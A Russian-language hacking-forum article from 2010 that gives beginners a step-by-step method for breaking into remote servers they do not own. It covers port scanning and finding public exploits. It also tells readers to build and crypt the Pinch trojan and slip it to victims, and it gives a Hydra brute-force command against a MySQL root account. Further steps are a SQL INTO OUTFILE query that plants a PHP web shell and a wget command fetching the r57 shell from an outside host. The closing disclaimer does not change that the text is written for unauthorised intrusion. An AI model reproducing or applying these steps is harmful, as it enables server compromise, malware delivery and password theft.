Главная
ФОРУМ
Новости
Статьи
Программы
Сервисы

Мы в
  

Друзья
Навигация
ftp, GET, ICQ, jabber, Joomla, kwm, McAfee, Opera, POST, regger, sem, seo, sql-инъекция, SSH, vkontakte, Windows, xss, авторегистратор, ассемблер, брут, брутфорс, буфер обмена, взлом, вирус, дедик, домен, защита, переполнение буфера, программирование, сервер, СИ, смс, сниффер, социнженерия, убеждение, уязвимости, уязвимость, хеш, чекер, шеллкод

Показать все теги
 

Аспекты взлома серверов

     
[ Аспекты взлома серверов ]

[ INTRO ]

Добрый день всем новичкам в ремесле взломщика. Сегодня я хочу осветить вам некоторые аспекты взлома удаленных серверов, а точнее постараюсь систематезировать ваши знания для более успешного хака. Для понятия статьи потребуются знания (минимальные) в области сетей, защиты и нападения, т.е. необходимо знать, что такое уязвимости web-приложений (SQL-инъекции, XSS, include и тд), что такое уязвимости обычных приложений (Buffer Overflow и т.д.), что такое http, ftp, telnet, exploit, tcp/ip, php, perl и далее.... Т.е. необходимо знать минимум.
Далее. Данная статья не охватывает все способы взлома, но она сможет помочь вам понять сам процесс хака как таковой. Итак, начнем.

[ Matrix Have You... ]

Допустим, у нас есть некоторый сервер, на который мы хотим проникнуть. Естественно, он находится на огромном расстоянии от нас. И естественно, для его взлома мы будем использовать Интернет и мозги, а не будем копаться в мусорных баках (хотя это тоже эффективно). Попытаюсь создать следующую схему.

Типы серверов:

-> Поиск диапазона IP-адресов, принадлежащих серверу (если сервер не хостер);
-> Поиск сайтов, которые хостятся на сервере (если сервер хостер);

Разобрались с типом сервера. Сначала рассмотрим первый тип - сервер с постоянным выходом в интернет, но без хостинга сайтов. Он попадается реже всего.

-> Сканируем сеть.

Для скана сети сервера можно использовать любой сканер. Я рекомендую NMap в связке с XSpider. Как их использовать и где скачать, можно найти в разделе Софт.
Для начала смотрим открытые порты по протоколу TCP (UDP нас сейчас не интересует). По стандарту на таких серверах можно найти следующие открытые порты:


Port 21 (ftp)
Port 22 (ssh)
Port 23 (telnet)


В данном случае мы рассматриваем ОС типа UNIX. По 21 порту открыт сервис ftp (file transfer protocol), по 22 сервис ssh (аналог telnet), а по 23 telnet (используется очень редко, еще реже если есть ssh, так как данные передаются незашифрованными и могут быть проснифанными). Также могут быть открыты порты баз данных (MySQL, MSSQL, PgSQL и тд), но поскольку у нас стоит UNIX, тут будут либо MySQL либо PgSQL, либо и та и та БД. MySQL попадается намного чаще и располагается по умолчанию на 3306 порту. К ней можно подключится с помощью скриптов либо с помощью клиента mysql. Зачем мы сканировали сервисы? Для того, чтобы знать возможные дверцы, через которые можно достучаться до сервера. Теперь пробуем подключиться к открытым портам и посмотреть баннеры. Баннер - это информация, которая выдается при подключении к сервису. Иногда админы меняют баннеры, но 80% они стоят нетронутыми. Баннер нам нужен для более точной инициализации сервиса. А инициализация сервиса нам нужна для поиска уязвимостей. Ведь в практически каждой программе есть свои недочеты, и чаще встречающаяся - это переполнение буфера. Каждый вводимый параметр имеет свой размер, и переполнив его, мы можем получить права программы специальным путем. Здесь мы не будем мудрить и самим искать уязвимости программ - мы лишь посмотрим сервис и постараемся подыскать на него эксплоит - программу, эксплуатирующую уязвимости. Это сделать можно на следующих авторитетных сайтах:

_www.securitylab.ru
_www.securityfocus.com
_www.xakep.ru
_www.milw0rm.com

Можно также просто пробить сервис в Googlе с параметром "+эксплоит". Допустим, сервис ssh является старой версей и подвержен buffer overflow. Компилируем сплоит, загружаем и используем. Если все прошло удачно, то мы в системе, а при удачном раскладе мы - root. Также мы можем попасть и на backdoor какого нибудь хакера, проникшего на сервер раньше нас. Тут уже совсем просто.

Итак, схема действий при сервере - НЕ хостере:

-> Скан сети.
-> Выявление сервисов (открытых портов).
-> Использование сплоита.

Теперь рассмотрим более интересный и располагающий случай - сайт с хостингом сайтов. Здесь есть куда больше методов хака.

Начнем изучать какой нибудь серверный сайт. Например, его DNS имя будет www.target.com. Он написан на языке PHP, имеет самописный движок, контактирующий с БД MySQL, также в наличие имеется админка по адресу www.target.com/admin. Что теперь делать? Смотрим схему:

-> Поиск хостящегося сайта.
-> Изучение его на уязвимости.
-> Если есть уязвимости, проникаем на сервер.
-> Если нет, то скан сети.
-> Выявление сервисов (открытых портов).
-> Использование сплоита.

Уязвимости скриптов могут быть разных типов, самые частые из них:

-> SQL Injection
-> XSS
-> PHP/Perl Include

Описание методов эксплуатации этих трех уязвимостей, а также нюансы вы можете посмотреть в разделе Web-хакинг, где есть мои статьи и статьи Константина на эту тему. Чаще всего при эксплуатировании какой либо из этих уязвимостей возможно получить доступ на сервер.

Если же нет уязвимостей в скриптах (хотя они всегда есть), то натравливаем любой сканер уязвимостей, например XSpider, чтобы удостовериться в том, что мы ничего не пропустили.

После сканирования программой, если уязвимости также не были обнаружены, остается следующий выход - сделать то же самое, что мы делали с "голым" сервером - уязвимости сервисов. Точно также сканируем сеть, смотрим сервисы, подключаемся к каждому и них и ищем сплоит. Также к стандартным сервисам, описанным выше, могут прибавиться порт 80 (http), но не стоит забывать, что порты могут быть изменены администратором. К web-серверу можно также подыскать эксплоит.

Если же все сервисы были новыми и не было публичных сплоитов, то это не повод расстраиваться. Как говорил Кевин Митник, самое уязвимое звено в системе - это сам человек. Ведь никто еще не отменял простых паролей, доверчивость и т.д. Есть несколько СИшных путей (СИ=Социальная Инженерия):

-> Троянизация
-> Брутфорс
-> Другое

Разберем каждый из них.

Троянизация - это устаревающий метод получения данных. Сейчас есть много троянов но мало доверчивых пользователей. Если этот выбор для вас - то скачиваем Pinch Builder, который вы можете найти в разделах нашего форума, смотрим мануал по настройке, тоже на форуме, а затем криптуем. Крипт - это шифрование кода трояна, чтобы он не был инициализирован антивирусом как троян. Существуют программы-крипторы, которые автоматизируют процесс. Чаще всего они приватные, но можно найти и публичный криптор (такие живут недолго). Криптуем трояна и под каким нибудь интересным предлогом всовываем его жертве, примеорв письма множество.

Брутфорс - до сих пор действенный метод. Brute Force переводится как "грубая сила", метод перебора паролей. Сейчас есть множество методов, самые распространенные - метод перебора случайных числе и метод перебора по словарю. Также есть Rainbow-таблицы, но о них говорить мы не будем - хватит первых двух методов. Первый метод самый долгий и ресурсоемкий, его надо выбирать в последнюю очередь. Второй метод легче - качаем хороший словарь (мне нравится словарь allwords2.dic, его можно взять с диска ХАКЕРа) и запускаем брут.
Теперь выбираем хороший брутфорсер. Я рекоммендую THC-Hydra, продукт команды THC. Его можно скачать с официального сайта _www.thc.org. Гидра является брутфорсером для большинства сервисов, нас интересуют сейчас следующие сервисы:

-> FTP
-> Telnet
-> SSH
-> HTTP (админка с .htaccess'ом)
-> MySQL
-> MSSQL
-> PgSQL

Запускаем Гидру и ждем конец подбора:

./hydra -l root -P allwords2.dic -t 50 www.target.com mysql


Здесь мы брутим пользователя root БД MySQL. Кстати говоря, зачастую пароли от разных сервисов совпадают с паролем суперпользователя в UNIX, так что стоит попробовать связку паролей на каждом сервисе.

Брутфорс окончился, пароль найден. Осталось подключиться к MySQL и сделать запрос:

SELECT <?php $cmd=$_GET['cmd']; system($cmd); ?> FROM mysql.user INTO OUЕFILE /usr/local/apache/htdocs/shell.php


Здесь мы получим простой веб шелл по адресу www.target.com/shell.php?cmd=. Дальше задаем в параметре cmd команду:

wget http://xakep.narod.ru/r57.php -O /usr/local/apache/htdocs/shell2.php


Закачивается полноценный веб шелл, потом закачиваем бэкдор и используем локальный сплоит...

Рассмотрим метод "Другое". Здесь подразумеваются нестандартные подходы. Об этом говорить не будем, ибо мысли у каждого свои. Например, мне часто помогал Reverse-IP (технология), также, если надо было получить доступ к сайту, пробивал ICQ/Email/Etc администратора в Google, смотрел сайты/форумы, на которых он обитает, а дальше просто ломал их, крал его пароль и он в 80% случаев подходил к паролю от сайта того человека. Способов взлома бесконечное множество, надо лишь уметь находить нестандартные решения.

[ OUTRO ]

Здесь я постарался осветить основные аспекты взлома, данная статья не претендует на полноту.
Данная статья не является учебником к действию, она создана лишь для ознакомления начинающих с уязвимостями.

Спасибо Коллеру за поддержку =)
(c) Helkern
Категория: Статьи » Web-уязвимости | 23-05-2010, 17:13 На главную..